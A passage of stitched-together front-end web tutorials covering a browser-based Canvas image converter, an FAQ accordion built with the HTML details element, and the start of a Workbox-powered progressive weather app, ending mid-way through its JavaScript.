  reader.onload = function(event) {

    const img = new Image();

    img.onload = function() {

      const canvas = document.createElement("canvas");
      const ctx = canvas.getContext("2d");

      canvas.width = img.width;
      canvas.height = img.height;

      ctx.drawImage(img, 0, 0);

      const converted = canvas.toDataURL(format);

      const link = document.getElementById("download");

      link.href = converted;
      link.download = "converted-image";
      link.style.display = "inline";
      link.innerText = "Download Converted Image";

    };

    img.src = event.target.result;

  };

  reader.readAsDataURL(file);

}

This is the core of the image converter. Let’s break down what’s happening.

How the Canvas Converts the Image

This line draws the image:

ctx.drawImage(img, 0, 0);

Now the image exists inside the canvas.

This line converts it:

canvas.toDataURL(format);

This exports the image in the selected format.

For example:

• PNG → image/png

• JPEG → image/jpeg

• WebP → image/webp

This is where the conversion actually happens.

How the Download Works

This part creates the download:

link.href = converted;
link.download = "converted-image";

The browser treats it as a downloadable file. No server needed.

Why This Approach Is Powerful

This technique has several advantages.

• It’s fast: There is no upload time, and everything runs locally.

• It’s private: Files never leave the user’s device. This matters for sensitive images.

• It reduces server costs: You don’t need backend processing. No storage, and no processing servers.

Important Notes from Real-World Use

If you plan to build tools like this, here are a few practical things I’ve learned.

Large Images Use More Memory

Very large images can slow down the browser. If needed, you can resize images using Canvas.

JPEG Supports Quality Settings

You can control quality:

canvas.toDataURL("image/jpeg", 0.8);

This reduces file size.

WebP Usually Gives the Best Compression

WebP often produces smaller files than PNG or JPEG. It’s a good default option.

How to Resize an Image Using Canvas

If you need to reduce the size of large images, you can resize them before exporting.

After loading the image, you can set a smaller width and height on the canvas:

const canvas = document.createElement("canvas");
const ctx = canvas.getContext("2d");

const maxWidth = 800;
const scale = maxWidth / img.width;

canvas.width = maxWidth;
canvas.height = img.height * scale;

ctx.drawImage(img, 0, 0, canvas.width, canvas.height);

Common Mistakes to Avoid

Trying to Upload Files Unnecessarily

If processing can happen in the browser, do it there. It’s faster and simpler.

Forgetting Browser Compatibility

Most modern browsers support Canvas and FileReader. But always test.

Not Validating File Input Properly

Before processing the image, it’s important to validate the input file.

For example, you can check if a file is selected and ensure it is an image:

const file = fileInput.files[0];

if (!file) {
  alert("Please select a file.");
  return;
}

if (!file.type.startsWith("image/")) {
  alert("Please upload a valid image file.");
  return;
}

How You Can Extend This Project

Once this basic converter works, you can expand it with additional features. For example, you could add image resizing so users can adjust dimensions before downloading the converted file. Another useful improvement is implementing drag-and-drop uploads, which makes the interface more user-friendly.

You might also support multiple file uploads so users can convert several images at once. Adding compression controls would allow users to balance image quality and file size. Finally, you could include an image preview before download so users can confirm the result before saving the file.

All of these improvements rely on the same browser APIs used in this tutorial, so once you understand the core logic, extending the project becomes much easier.

Why Browser-Based Tools Are Becoming More Popular

Browsers today are far more capable than they used to be. Modern browser APIs allow developers to handle tasks that previously required server-side processing.

For example, browsers can now perform image processing, generate PDFs, convert files into different formats, and even handle some types of video processing directly on the client side.

Because of these capabilities, developers can build tools that run entirely inside the browser without relying on a backend server. This approach improves performance since users don’t have to upload files and wait for a server to process them.

It also improves privacy because files stay on the user’s device instead of being sent to a remote server. At the same time, it simplifies system architecture and makes applications easier to scale since there is no server infrastructure needed for file processing.

Demo: How the Image Converter Works

After building the project, here is what the tool looks like in the browser.

Upload an Image

First, the user uploads an image using the file upload area.

Select the Output Format

After uploading the image, the tool displays a preview along with details such as the image name, format, and file size. This helps users confirm that they uploaded the correct file before converting it.

Next, the user can choose the desired output format from the dropdown menu. The tool supports formats such as PNG, JPEG, WebP, GIF, and BMP, allowing the image to be converted into the format that best fits the user's needs.

Convert the Image

Once the format is selected, clicking the Convert All Images button processes the image directly in the browser.

Download the Converted Image

After conversion is complete, the tool generates a downloadable file.

Conversion Results

The tool can also display useful information such as original size, converted size, and space saved after compression.

Because everything happens in the browser using JavaScript and the Canvas API, the image never leaves the user's device.

Conclusion

In this tutorial, you built a browser-based image converter using JavaScript.

In this tutorial, you learned how to read local image files using JavaScript, process images using the Canvas API, convert them into different formats, and allow users to download the result directly from the browser.

This pattern is useful far beyond image conversion.

You can use the same approach for many browser-based tools.

Understanding how to use browser APIs like this opens up a lot of possibilities for building fast, efficient web applications.

They help create clean, organized, and user-friendly interfaces. Many developers still reach for JavaScript to build accordions, which adds avoidable complexities to their projects.

The HTML <details> element solves this problem with its built-in disclosure widget that toggles content visibility using just a few lines of HTML and optional CSS.

In this article, we’ll look at an FAQ accordion built using <details>. You can see the final project here.

Table of Contents

• What is the HTML <details> Element?

• An FAQ Accordion Built with the <details> Element

• Browser Support and Accessibility Considerations

• Conclusion

What is the HTML <details> Element?

The HTML <details> element is a disclosure widget that allows you to hide and show content with a single click. Think of it as a native accordion that comes built into HTML.

The most common use case for accordions is the Frequently Asked Questions (FAQ) section on many sites. If you’ve seen or interacted with an FAQ, that’s an opportunity to use <details>.

It has two main components:

• <details> is the main container tag that opens and closes to display what’s in <summary>.

• <summary> is a container for the content that is displayed when <details> is clicked.

💡 In addition to the summary, you can include any HTML text element within the <details> container.

The image above shows a real-life use case of <details> on the Apple website. In a later section, we’ll learn about the browsers that support it.

When to Use <details> over JavaScript alternatives

Unlike JavaScript-based accordions that add weight to your project, <details> offers the same functionality with minimal load and better performance. It also offers built-in keyboard navigation and screen reader support.

Choose <details> over JavaScript-created accordions when:

• Building simple accordions or FAQ sections

• Accessibility, performance, and SEO are a priority

• You want to avoid JavaScript dependencies

An FAQ Accordion Built with the <details> Element

Here’s what our example project looks like:

This design is by Frontend Mentor (and you can check out the project on Codepen).

To follow along, you need basic knowledge of HTML and CSS. Since the focus of this article is <details>, we won't place a lot of emphasis on the starting HTML and CSS code (available on the Codepen above). Instead, we'll look at one FAQ question with its answer to learn how <details> works.

How to Use <details>

To create an accordion with the <details> element, you need both the <details> and <summary> elements, as shown in the starter code below.

<details>
  <summary>What is Frontend Mentor, and how will it help me?</summary>
  <p>Frontend Mentor offers realistic coding challenges to help developers improve their frontend coding skills with projects in HTML, CSS, and JavaScript. It’s suitable for all levels and ideal for portfolio building.</p>
</details>

The GIF below will be the result after running the above code. With less than five lines of HTML code, we already have an accordion.

Styling <details>

Now, let's focus on transforming our basic accordion into something visually appealing (foundational styles can be found on the Codepen). First, we’ll add the icons as SVGs within <summary> with classes (closed-icon and open-icon) to make them easy to style.

<details>
  <summary>What is Frontend Mentor, and how will it help me?
  <svg class="closed-icon" xmlns="<http://www.w3.org/2000/svg>" class="closed-icon" width="30" height="31" viewBox="0 0 30 31" fill="none">
  <path d="M15 3.3125C12.5895 3.3125 10.2332 4.02728 8.22899 5.36646C6.22477 6.70564 4.66267 8.60907 3.74022 10.836C2.81778 13.063 2.57643 15.5135 3.04668 17.8777C3.51694 20.2418 4.67769 22.4134 6.38214 24.1179C8.08659 25.8223 10.2582 26.9831 12.6223 27.4533C14.9865 27.9236 17.437 27.6822 19.664 26.7598C21.8909 25.8373 23.7944 24.2752 25.1335 22.271C26.4727 20.2668 27.1875 17.9105 27.1875 15.5C27.1835 12.2689 25.8981 9.17131 23.6134 6.88659C21.3287 4.60186 18.2311 3.31653 15 3.3125ZM19.6875 16.4375H15.9375V20.1875C15.9375 20.4361 15.8387 20.6746 15.6629 20.8504C15.4871 21.0262 15.2486 21.125 15 21.125C14.7514 21.125 14.5129 21.0262 14.3371 20.8504C14.1613 20.6746 14.0625 20.4361 14.0625 20.1875V16.4375H10.3125C10.0639 16.4375 9.82541 16.3387 9.64959 16.1629C9.47378 15.9871 9.375 15.7486 9.375 15.5C9.375 15.2514 9.47378 15.0129 9.64959 14.8371C9.82541 14.6613 10.0639 14.5625 10.3125 14.5625H14.0625V10.8125C14.0625 10.5639 14.1613 10.3254 14.3371 10.1496C14.5129 9.97377 14.7514 9.875 15 9.875C15.2486 9.875 15.4871 9.97377 15.6629 10.1496C15.8387 10.3254 15.9375 10.5639 15.9375 10.8125V14.5625H19.6875C19.9361 14.5625 20.1746 14.6613 20.3504 14.8371C20.5262 15.0129 20.625 15.2514 20.625 15.5C20.625 15.7486 20.5262 15.9871 20.3504 16.1629C20.1746 16.3387 19.9361 16.4375 19.6875 16.4375Z" fill="#AD28EB"/>
  </svg> 
  <svg class="open-icon" xmlns="<http://www.w3.org/2000/svg>" class="open-icon" width="30" height="31" viewBox="0 0 30 31" fill="none">
  <path d="M15 3.3125C12.5895 3.3125 10.2332 4.02728 8.22899 5.36646C6.22477 6.70564 4.66267 8.60907 3.74022 10.836C2.81778 13.063 2.57643 15.5135 3.04668 17.8777C3.51694 20.2418 4.67769 22.4134 6.38214 24.1179C8.08659 25.8223 10.2582 26.9831 12.6223 27.4533C14.9865 27.9236 17.437 27.6822 19.664 26.7598C21.8909 25.8373 23.7944 24.2752 25.1335 22.271C26.4727 20.2668 27.1875 17.9105 27.1875 15.5C27.1841 12.2687 25.899 9.17076 23.6141 6.8859C21.3292 4.60104 18.2313 3.31591 15 3.3125ZM19.6875 16.4375H10.3125C10.0639 16.4375 9.82541 16.3387 9.64959 16.1629C9.47378 15.9871 9.37501 15.7486 9.37501 15.5C9.37501 15.2514 9.47378 15.0129 9.64959 14.8371C9.82541 14.6613 10.0639 14.5625 10.3125 14.5625H19.6875C19.9361 14.5625 20.1746 14.6613 20.3504 14.8371C20.5262 15.0129 20.625 15.2514 20.625 15.5C20.625 15.7486 20.5262 15.9871 20.3504 16.1629C20.1746 16.3387 19.9361 16.4375 19.6875 16.4375Z" fill="#301534"/>
  </svg>
  </summary>
  <p>Frontend Mentor offers realistic coding challenges to help developers improve their frontend coding skills with projects in HTML, CSS, and JavaScript. It’s suitable for all levels and ideal for portfolio building.</p>
</details>

In the code below, we customize the disclosure marker by hiding the default arrow and adding a custom icon to the right using the ::marker pseudo-element on <summary>. We also set its content as empty, which removes the marker altogether.

/* Styles for the clickable summary element*/
summary {
  font-weight: 700;
  cursor: pointer;
  display: flex;
  align-items: center;
  transition: color 0.2s ease;
  margin-bottom: 1em;
  padding: 1.5em;
/* Remove the default marker */
  &::marker {
    content: '';
  }

  &:last-child { 
    margin-bottom: 0; 
  } 

  &:hover { 
    color: var(--text-accent);
    outline: none;
  }
}

p {
  padding-top: 1em;
  color: var(--text-light);
}
/* Styles for the collapsible <details> container */
details {
  margin-bottom: 1em;

  &:last-child { 
    margin-bottom: 0; 
  }

  .open-icon {
    display: none;
  }

  &[open] {
    .open-icon {
      display: inline;
    }

    .closed-icon {
      display: none;
    }
  }

  .open-icon,
  .closed-icon {
    width: 1.8em; 
    height: 1.8em;
    flex-shrink: 0;
  }
}

The GIF below shows the output of styling our accordion with the CSS code above.

To have an FAQ question expanded when the page loads, add the open attribute to <details>. This is particularly useful for highlighting important information where the most crucial FAQ starts expanded.

<details open>
    <summary>What is Frontend Mentor, and how will it help me?</summary>
</details>

Browser Support and Accessibility Considerations

According to MDN, <details> is a well established feature that works across many devices and the popular browsers (Chrome, Edge, Firefox, and Safari) since January 2020.

<details> includes built-in accessibility features that requires additional JavaScript in custom solutions such as keyboard navigation, screen reader support, and semantic structure. You can also add attributes like role, aria-expanded, and aria-labelledby to ensure even more accessibility.

Conclusion

<details> is a powerful yet under-utilized element for creating UI elements like accordions, FAQs, or navigation menus without JavaScript. It is easy to implement and lightweight, and yet improves user experience with interactive content.

So, the next time you need to create any collapsible content, with accessibility and performance in mind, consider reaching for <details> and it will surely make your development life easier.

Here are some helpful resources:

• MDN Documentation for <details>

• CSS-Tricks Guide to Styling Details

• Web.dev Learn HTML: Details

PWAs bring the power of the web to your fingertips with the experience of a mobile app. Even better? If you lose internet connection while on the go, the app can still function, showing your previously loaded data and getting updates once you’re back online.

In this tutorial, you’ll learn how to implement a service worker with WorkBox in a weather app using HTML, CSS, and JavaScript. We’ll start by understanding what a PWA is, the core components behind the scenes, especially service workers, and how to use Workbox to supercharge your app with offline capabilities.

Table of Contents

• What We’ll Cover

• What is a Progressive Web App (PWA)?

• What Makes a Web App “Progressive”?

• Components of a PWA

• What is a Service Worker in PWA?

• Why Use Workbox Instead of Manual Service Workers?

• Introduction to WorkBox

• Project Setup

• Creating the Offline HTML Structure

• Styling with CSS

• How to Set Up app.js and config.js

• How to Create a Manifest File

• How to Add WorkBox to Your service-worker.js File

• How to Create your Service Worker in the service-worker.js File

• How to Set Up App Installation

• How to Install the Weather App

• Conclusion

What We’ll Cover

• Setting Up the Project: We'll build a simple weather app using HTML, CSS, and JavaScript. This approach is perfect for this tutorial because it keeps things simple and accessible while focusing on core PWA concepts without the added complexity of frameworks like React or Vue.

• Turning the App into a PWA: Next, we’ll walk through the concept of a Progressive Web App, covering the key features and best practices of PWAs.

• Implementing Service Worker via WorkBox: Finally, we’ll dive deeper into how service workers function and explore why using Workbox simplifies the process.

Here’s what the final application will look like:

Audience

This tutorial is for web developers of all levels. Whether you're new to Progressive Web Apps (PWAs) or just starting to explore service workers, this guide will walk you through the core concepts and demonstrate why using a Google-backed library like Workbox to implement service workers can be more efficient than manual implementation.

Prerequisites

Before you begin

1. Get a free API key from the OpenWeatherAPI website

2. Make sure you’re familiar with HTML, CSS, and JavaScript.

3. If you’re new to PWAs, you might want to read some introductory articles to get a quick overview.

   • Progressive web apps

   • Workbox

What is a Progressive Web App (PWA)?

A PWA is a web application that combines the best of web and mobile apps. It’s built using standard web technologies like HTML, CSS, and JavaScript, but it behaves and feels like a native mobile app on your phone or tablet.

Think of apps like Instagram Web, Twitter Lite, or Spotify Web Player. Even though you’re not using a native app from an app store:

• You can still scroll your feed, view media, and send messages.

• It works even on slow or unstable networks.

• You can “install” it on your home screen and launch it like a regular app.

• You even get push notifications just like a mobile app!

With PWAs, you get the reach of the web and the feel of an app without the heavy storage or installation process.

What Makes a Web App “Progressive”?

A PWA is not just any website. It’s built to progressively enhance the user experience, depending on their device and browser capabilities. Here are the core characteristics that define a PWA:

• Responsive: Works on all screen sizes, that is, phones, tablets, and desktops.

• Reliable: Loads instantly, even when offline or on poor networks.

• Installable: Can be added to the home screen without needing an app store.

• Engaging: Supports features like push notifications and background sync.

Components of a PWA

Before your web app can be considered a PWA, it must include the following:

A Web Application Manifest

The web app manifest is a JSON file that tells the browser about your web app, how it should appear, and behave when installed on a user's device.

Think of it like your app’s business card. It includes details like:

• App name and short name – How your app is labeled on the home screen or app list.

• Icons – Images used for app icons on different screen sizes and resolutions.

• Theme color and background color – Defines the look of your app’s UI and loading screen.

• Start URL – The page that opens when the app is launched.

• Display mode – Controls whether the app opens in a browser tab, fullscreen, or a native-like window.

• Screenshots – Optional preview images that show how your app looks on different devices in app stores or installation prompts.

A Service Worker

This is a script that runs in the background. It handles offline behaviour, caching, background sync, and push notifications needed to make your PWA function.

More details about the service worker will be discussed later in this article.

HTTPS

PWAs must be served over HTTPS. This is not optional. Here’s why:

• It protects users by ensuring secure data transfer.

• It enables important features like service workers and push notifications.

• Browsers won’t allow service workers to register on non-secure origins.

If you're testing locally, you can use localhost (which is treated as secure), But for production, your site must have an SSL certificate.

What is a Service Worker in PWA?

In PWAs, a service worker is a JavaScript file that runs in the background, separate from your main app, and acts like a network proxy. It can:

• Cache resources and serve them offline

• Intercept network requests and apply caching strategies

• Handle background syncs

• Manage push notifications

Think of it as your app’s behind-the-scenes assistant—makes it load fast, works offline, and stays updated, even when you're not looking.

Why Use Workbox Instead of Manual Service Workers?

Service workers are essential in creating a PWA, but getting started with them can be challenging. Writing service worker code from scratch can often be tedious and prone to errors. For example, you'd need to:

• Manually configure caching strategies

• Handle service worker updates

• Write and maintain a lot of repetitive boilerplate code

Workbox, a library from Google, makes things easier by letting developers focus on what matters, without worrying about the complicated parts of service workers.

However, it’s still important to understand how service workers function, since they handle some complex tasks under the hood.

Here are key things a service worker (with or without Workbox) does:

• Install event: Set up cache

• Activate event: Clean up old caches

• Fetch event: Intercept network requests and serve from cache

With Workbox, these are wrapped in easy-to-use functions.

Introduction to WorkBox

Workbox is a collection of libraries that helps developers build efficient service workers quickly, with best practices built right in. It supports strategies like:

• CacheFirst: Load from cache, fall back to network

• NetworkFirst : Try network, fall back to cache

• StaleWhileRevalidate: Serve from cache and update in the background

Understanding Workbox Modules

Workbox is more than just a tool. It is a collection of powerful modules, each designed to simplify different parts of working with service workers. These modules are flexible and can be used in three key contexts:

• Service Worker Context – Inside your service worker file, where you handle caching, routing, and other background tasks.

• Window Context – Inside your main application (the client-side JS), where you register and communicate with the service worker.

• Build Tools Integration – Tools like Webpack use Workbox to generate service worker files and precache manifests during your build process.

Let’s break down some of the most popular and essential modules Workbox offers:

1. workbox-routing

This module handles routing network requests within your service worker. Think of it like a traffic director that listens for fetch events and decides what to do with them.

Use case: Route API requests to the network while routing static asset requests to the cache.

2. workbox-strategies

This is where caching strategies like CacheFirst, NetworkFirst, and StaleWhileRevalidate are used. It provides a clean and consistent API for handling how your app responds to different requests.

Use case: Apply different caching behaviours for images, fonts, or dynamic data with minimal code.

3. workbox-precaching

This module handles precaching by storing static assets during the service worker’s install phase. It makes it easy to cache files ahead of time and ensures that updates are managed efficiently.

Use case: Preload essential assets (like HTML, CSS, and logo images) so your app loads instantly, even offline.

4. workbox-expiration

It is used as a plugin alongside caching strategies. This module adds smart cache expiration. You can automatically remove old or excessive items from the cache based on how long they've been stored or how many items exist.

Use case: Keep your cache size under control without manually tracking and deleting outdated files.

workbox-window

This module is designed for the browser (window) side of your app. It simplifies service worker registration and allows you to communicate with the service worker from your page easily.

Use case: Detect when a new service worker is available and prompt the user to refresh the app to update.

You can use WorkBox via:

• npm

• CDN (which we'll use here for simplicity)

Project Setup

Let's start by creating our project structure:

weather-pwa/
├── index.html
├── style.css
├── js/
│   ├── app.js
│   └── install.js
├── service-worker.js
├── images/
│   └── [your image files and folders here]
├── manifest.json
├── config.js  
└── offline.html

The HTML Structure

First, let's build our index.html file:

<!DOCTYPE html>
<html lang="en">
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <link rel="icon" href="/images/logo.png" type="image/png">
        <meta name="description" content="Simple Weather Progressive Web App" />
        <link rel="stylesheet" href="/styles.css" />
        <title>Weatherly</title>
    </head>


<body>
    <header class="header">
        <img loading="lazy" class="logo" src="images/logo.png" alt="Weatherly Logo">
        <h1>Weatherly</h1>
    </header>

    <main class="main">
        <div class="weather-card">
            <div class="location-container">
                <input type="text" id="location-input" placeholder="Enter city name">
                <button id="search-btn">Search</button>
                <button id="locationBtn">📍 Use My Location</button>
                <button id="installBtn" style="display: none;">Install App</button>
            </div>

            <div id="offline-message" class="offline-message">
                You are currently offline. Weather data may not be up-to-date.
            </div>


            <div class="error">
                <p id="error-message"></p>
            </div>

            <div id="weather-container" class="weather-container">
                <h3>Your last searched location weather:</h3>
                <div class="location-info">
                    <h2 id="city"></h2>
                    <p id="date"></p>
                </div>

                <div class="current-weather">
                    <img loading="lazy" id="weather-icon" src="" alt="Weather icon">
                    <div class="temperature-container">
                        <h3 id="temperature"></h3>
                        <p id="weather-description"></p>
                    </div>
                </div>

                <div class="weather-details">
                    <div class="detail">
                        <img loading="lazy" id="humidity-icon" src="/images/humidity.png" alt="Humidity icon">
                        <span class="label">Humidity</span>
                        <span id="humidity" class="value"></span>
                    </div>
                    <div class="detail">
                        <img loading="lazy" id="wind-icon" src="/images/wind.png" alt="Wind icon">
                        <span class="label">Wind</span>
                        <span id="wind" class="value"></span>
                    </div>
                </div>
            </div>

            <!-- Your location weather -->
            <div class="location-weather">
                <h3>Your location's weather:</h3>
                <div class="weather-info" id="weatherInfo">

                </div>
            </div>
        </div>
    </main>

    <footer>
        <p>Made with ❤️ by <a href="www.linkedin.com/in/damilola-oniyide">Damilola Oniyide</a>
    </footer>
    <script type="module" src="/js/app.js" defer></script>
</body>
</html>

Creating the Offline HTML Structure

The offline.html is the page that users will see when they lose network connection and try to navigate to a page that isn’t cached.

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta name="theme-color" content="#2196f3">
  <title>Weatherly - Offline</title>
  <link rel="stylesheet" href="/styles.css">
  <style>
    .offline-icon {
      font-size: 5rem;
      margin-bottom: 1.5rem;
      color: #2196f3;
    }

    .offline-message {
      font-size: 1.5rem;
      margin-bottom: 1.5rem;
    }

    .offline-subtext {
      font-size: 1rem;
      margin-bottom: 2rem;
      color: #666;
    }

    .retry-button {
      padding: 0.75rem 1.5rem;
      background-color: #2196f3;
      color: white;
      border: none;
      border-radius: 12px;
      font-size: 1rem;
      cursor: pointer;
      transition: background-color 0.3s;
    }

    .retry-button:hover {
      background-color: #2980b9;
    }
  </style>
</head>
<body>
  <header>
    <h1>Weatherly</h1>
  </header>

  <main>
    <div class="app-container">
      <div class="weather-card">
        <div class="offline-container">
          <div class="offline-icon">
            <svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill="currentColor" viewBox="0 0 16 16">
              <path d="M8 15A7 7 0 1 1 8 1a7 7 0 0 1 0 14zm0 1A8 8 0 1 0 8 0a8 8 0 0 0 0 16z"/>
              <path d="M7 6.5C7 7.328 6.552 8 6 8s-1-.672-1-1.5S5.448 5 6 5s1 .672 1 1.5zm-2.715 5.933a.5.5 0 0 1-.183-.683A4.498 4.498 0 0 1 8 9.5a4.5 4.5 0 0 1 3.898 2.25.5.5 0 0 1-.866.5A3.498 3.498 0 0 0 8 10.5a3.498 3.498 0 0 0-3.032 1.75.5.5 0 0 1-.683.183zM10 8c-.552 0-1-.672-1-1.5S9.448 5 10 5s1 .672 1 1.5S10.552 8 10 8z"/>
            </svg>
          </div>
          <h2 class="offline-message">You're offline</h2>
          <p class="offline-subtext">Please check your internet connection and try again.</p>
          <button class="retry-button" onclick="window.location.href='/'">Retry</button>
        </div>
      </div>
    </div>
  </main>

  <footer>
    <p>Made with ❤️ by Damilola Oniyide</p>
  </footer>
</body>
</html>

Styling with CSS

Now, let's create our style.css file for a responsive and user-friendly design:

* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
    background-color: #f5f5f5;
    color: #333;
    line-height: 1.6;
}

.header {
    background-color: #2196f3;
    color: white;
    padding: 1rem;
    display: flex;
    justify-content: center;
    align-items: center;
    box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
}

.header h1 {
    font-size: 1.5rem;
}


.header img {
    width: 55px;
    height: 55px;
    border: #ffff 1px solid;
    margin-right: 4px;
    border-radius: 10%;
}


.main {
    padding: 1rem;
    max-width: auto;
    margin: 0 auto;
}

.weather-card {
    background-color: white;
    border-radius: 8px;
    box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
    padding: 1.5rem 3rem;
    margin-top: 1rem;
}

/* Location input styles */
.location-container {
    display: flex;
    margin-bottom: 1.5rem;
    justify-content: center;
}

#location-input {
    flex: 1;
    padding: 0.75rem;
    border: 1px solid #ddd;
    border-radius: 4px 0 0 4px;
    font-size: 1rem;
    max-width: 240px;
}

#location-input:focus {
    outline: none;
    border-color: #2196f3;
}
#location-input::placeholder {
    color: #999;
}   

#search-btn, #locationBtn {
    background-color: #2196f3;
    color: white;
    border: none;
    padding: 0.75rem 1rem;
    border-radius: 0 4px 4px 0;
    cursor: pointer;
    font-size: 1rem;
    margin-right: 2.5px;
}


#installBtn {
    background-color: #2196f3;
    color: white;
    border: none;
    padding: 0.75rem 1rem;
    border-radius: 4px;
    cursor: pointer;
    font-size: 1rem;

}

#search-btn:focus, #locationBtn:focus, #installBtn:focus {
    outline: none;
    box-shadow: 0 0 5px rgba(33, 150, 243, 0.5);
}
#search-btn:hover, #locationBtn:hover, #installBtn:hover {
    background-color: #1976d2;
}

.error, .loading {
    text-align: center;
    font-weight: bold;
    font-size: 14px;
    margin-top: 10px;
    display: none;;
}

.error-message {
    color: #d32f2f;

}
/* Weather display styles */
.weather-container {
    display: none 
}

#weather-icon {
    width: 1000px; 
    height: 100px;
  }

.current-weather{
    margin-bottom: 2rem;
    display: flex;
    justify-content: center;
}

.location-weather{
    margin-top: 2rem;
    display: flex;
    justify-content: center;
    flex-direction: column;
}


#weather-icon {
    width: 80px;
    height: 80px;
    margin-right: 1rem;
}

.location-info {
    margin-bottom: 1rem;
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
}

.location-info h2,  .current-weather h3, .weather-container h3, .location-weather h3 {
    font-size: 1.8rem;
    margin-bottom: 0.25rem;
}



.location-info p, .current-weather p {
    color: #666;
    font-size: 1.4rem;
}

.temperature-container {
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
    margin-bottom: 1rem;
}

.temperature-container h3 {
    font-size: 2.5rem;
    margin-bottom: 0.25rem;
}

.temperature-container p {
    color: #666;
    text-transform: capitalize;
}

.weather-details {
    display: flex;
    justify-content: center;
    background-color: #f9f9f9;
    border-radius: 4px;
    padding: 1rem;
}

#humidity-icon, #wind-icon{
    width: 40px;
    height: 40px;
}

.detail {
    display: flex;
    flex-direction: column;
    align-items: center;
    margin: 0 1rem;
    text-align: center;
}

.label {
    font-size: 0.9rem;
    color: #666;
    margin-bottom: 0.25rem;
}

.value {
    font-size: 1.2rem;
    font-weight: 500;
}

/* Error and offline message styles */
.error-message {
    color: #d32f2f;
    text-align: center;
    margin-top: 1rem;
    display: none;
} 

.offline-message {
    background-color: #ffab91;
    color: #7f0000;
    padding: 0.75rem;
    text-align: center;
    margin-top: 1rem;
    border-radius: 4px;
    display: none;
}


/* 5 days forecast weather */
.forecast-container {
    display: flex;
    justify-content: space-around;
    gap: 1rem;
}

.forecast-item {
    background-color: white;
    border-radius: 8px;
    box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
    padding: 1rem 4rem;
    text-align: center;
}



footer {
    background-color: #2196f3;
    display: flex;
    align-items: center;
    justify-content: center;
    padding: .7rem 0;
}

footer p, footer a {
    color: #f9f9f9;
    font-weight: 500;
}
/* Responsive styles */
@media (max-width: 480px) {
    .header h1 {
        font-size: 1.2rem;
    }

    .location-container {
        flex-direction: column;
        align-items: center;
        gap: .6rem
    }


    .current-weather {
        flex-direction: column;
        justify-content: center;
        align-items: center;
    }

    .weather-container h3,  .location-weather h3, .forecast h3 {
        font-size: 1.5rem;
    }

    #weather-icon {
        margin-right: 0;
        margin-bottom: 1rem;
    }

    .forecast-container {
        flex-direction: column;
        align-items: center;
    }
}

How to Set Up app.js and config.js

Now, let's create our app.js file to add functionality to the weather app. Before proceeding, ensure you’ve obtained your API key from OpenWeather. For best practice, store your API key in a separate file like config.js to keep things organized and avoid hardcoding sensitive data.

Here's what your config.js should look like:

export const CONFIG = {
    WEATHER_API_KEY: "WRITE-YOUR-API-KEY-HERE",
};

Ensure you add the config.js file to .gitignore to avoid leaking sensitive information on a public platform like GitHub.

Now let’s move to app.js. This is where the main logic of your weather app will live. You can now reference your API key using Weather_API_KEY from the config.js file.

Below is the structure of your app.js file:

import { CONFIG } from './config.js';
const BASE_URL = `https://api.openweathermap.org/data/2.5/weather?&appid=${CONFIG.WEATHER_API_KEY}&units=metric&q=`;

const cityName = document.getElementById('location-input');
const searchButton = document.getElementById('search-btn');
const weatherIcon = document.getElementById('weather-icon');
const locationBtn = document.getElementById('locationBtn');
const weatherInfo = document.getElementById('weatherInfo');


function getWeatherIcon(condition) {
  switch (condition) {
    case "Clear":
      return "images/weather-icons/clear.png";
    case "Clouds":
      return "images/weather-icons/clouds.png";
    case "Drizzle":
      return "images/weather-icons/drizzle.png";
    case "Rain":
      return "images/weather-icons/drizzle.png";
    case "Mist":
      return "images/weather-icons/mist.png";
    case "Snow":
      return "images/weather-icons/snow.png";
    default:
      return "images/weather-icons/default.png";
  }
}
//Search for weather by city name
async function checkWeatherBySearch(city){
    if(city.length == 0) {
        document.getElementsByClassName('error')[0].style.display = 'block';
        document.getElementsByClassName('error')[0].innerHTML = "Please enter a city name!";
        document.getElementsByClassName('error')[0].style.color = 'red';
        document.getElementById('weather-container').style.display = 'none'; 
        return;
    }
    const response = await fetch(BASE_URL + city);
    document.getElementsByClassName('error')[0].style.display = 'block';
    document.getElementsByClassName('error')[0].innerHTML = "Wait a sec, your location's data will be displayed soon!";

    if (response.status == 404) {
        document.getElementsByClassName('error')[0].style.display = 'block';
        document.getElementsByClassName('error')[0].innerHTML = "City not found! Please enter a valid city name.";
        document.getElementsByClassName('error')[0].style.color = 'red';
        document.getElementById('weather-container').style.display = 'none';       
    } else {
      const data = await response.json();
      document.getElementById('weather-container').style.display = 'block';
      document.getElementsByClassName('error')[0].style.display = 'none';
      localStorage.setItem('lastCity', city);
      document.getElementById('city').innerHTML = data.name;
      document.getElementById('date').innerHTML = new Date(data.dt * 1000).toLocaleDateString();
      document.getElementById("temperature").innerHTML = Math.round(data.main.temp) + "°C";
      document.getElementById("humidity").innerHTML = data.main.humidity + "%";
      document.getElementById("wind").innerHTML = data.wind.speed + "m/s";
      document.getElementById('weather-description').innerHTML = data.weather[0].description;
      const weatherCondition = data.weather[0].main;
      weatherIcon.src = getWeatherIcon(weatherCondition);
    }
}

 // display next 5-day forecast by coordinates
function display5DaysForecast(forecast) {
   const fragment = document.createDocumentFragment(); 
    const forecastWrapper = document.createElement('div');
    forecastWrapper.className = 'forecast';

    const heading = document.createElement('h3');
    heading.innerHTML = "Your location's next 5 days forecast:";

    const container = document.createElement('div');
    container.className = 'forecast-container';

    const addedDates = new Set();
    const today = new Date().toDateString();

    forecast.forEach((entry) => {
      const entryDateObj = new Date(entry.dt * 1000);
      const entryDateStr = entryDateObj.toDateString();

      if (entryDateStr !== today && !addedDates.has(entryDateStr)) {
        addedDates.add(entryDateStr);
        if (addedDates.size > 6) return;


        const condition = entry.weather[0].main;
        const iconSrc = getWeatherIcon(condition);

        const forecastItem = document.createElement('div');
        forecastItem.className = 'forecast-item';

        const date = document.createElement('p');
        date.id = 'date';
